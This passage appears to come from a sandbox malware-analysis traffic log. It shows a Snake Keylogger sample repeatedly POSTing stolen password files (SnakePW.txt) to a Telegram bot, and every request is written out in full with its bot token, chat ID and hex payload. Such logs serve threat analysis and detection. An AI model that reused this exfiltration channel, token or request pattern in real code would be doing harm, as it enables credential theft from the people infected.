{"ok":true,"result":{"message_id":67055,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228875,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.5	50205	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:35 UTC	457	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571a0e113a Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:35 UTC	457	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 30 65 31 31 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571a0e113aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:35 UTC	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:35 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:35 UTC	458	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67056,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228875,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.5	50206	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:35 UTC	459	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571a4c0e67 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:35 UTC	459	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 34 63 30 65 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571a4c0e67Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:36 UTC	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:36 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:36 UTC	460	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67057,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228876,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.5	50207	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:36 UTC	461	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571a87aa22 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:36 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 38 37 61 61 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571a87aa22Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:36 UTC	461	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:36 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:36 UTC	462	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67058,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228876,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.5	50208	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:36 UTC	462	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ac5a604 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:36 UTC	463	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 63 35 61 36 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ac5a604Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:36 UTC	463	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:36 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:36 UTC	463	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67059,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228876,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.5	50209	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:37 UTC	464	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571b03a336 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:37 UTC	464	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 30 33 61 33 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571b03a336Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:37 UTC	465	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:37 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:37 UTC	465	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67060,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228877,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.5	50210	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:37 UTC	466	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571b3f3da5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:37 UTC	466	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 33 66 33 64 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571b3f3da5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:37 UTC	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:37 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:37 UTC	467	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67062,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228877,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.5	50211	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:37 UTC	467	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571b7d4400 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:37 UTC	468	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 37 64 34 34 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571b7d4400Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:38 UTC	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:38 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:38 UTC	468	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67063,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228878,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.5	50212	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:38 UTC	469	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571bb8d6a7 Host: api.telegram.org Content-Length: 504
